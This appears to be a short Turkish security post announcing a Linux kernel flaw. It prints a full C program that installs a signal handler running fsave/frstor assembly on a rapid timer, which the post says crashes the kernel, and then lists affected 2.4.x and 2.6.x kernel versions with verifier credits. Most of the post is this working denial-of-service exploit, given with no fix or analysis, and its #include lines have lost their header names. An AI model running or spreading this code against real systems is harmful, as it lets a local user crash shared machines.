Kernel'da yeni açık

Kernel'ın kırılmasına yol açan C programı:

#include
#include
#include

static void Handler(int ignore)
{
char fpubuf[108];
__asm__ __volatile__ ("fsave %0 " : : "m"(fpubuf));
write(2, "*", 1);
__asm__ __volatile__ ("frstor %0 " : : "m"(fpubuf));
}

int main(int argc, char *argv[])
{
struct itimerval spec;
signal(SIGALRM, Handler);
spec.it_interval.tv_sec=0;
spec.it_interval.tv_usec=100;
spec.it_value.tv_sec=0;
spec.it_value.tv_usec=100;
setitimer(ITIMER_REAL, &spec, NULL);
while(1)
write(1, ".", 1);

return 0;
}

Etkilenen Versiyonlar:
* Linux 2.6.x
o 2.6.7-rc2
o 2.6.6 (vanilla)
o 2.6.6-rc1 SMP (varified by blaise)
o 2.6.6 SMP (verified by riven)
o 2.6.5-gentoo (verified by RatiX)
o 2.6.5-mm6 - (verified by Mariux)
o 2.6.5 (fedora core 2 vanilla)
o 2.6.3-13mdk (Mandrake)
* Linux 2.4.2x
o 2.4.26 vanilla
o 2.4.26, grsecurity 2.0 config
o 2.4.26-rc1 vanilla
o 2.4.26-gentoo-r1
o 2.4.22
o 2.4.22-1.2188 Fedora FC1 Kernel
o 2.4.20 RH7.3 (gcc 2.96)
o 2.4.18-bf2.4 (debian woody vanilla)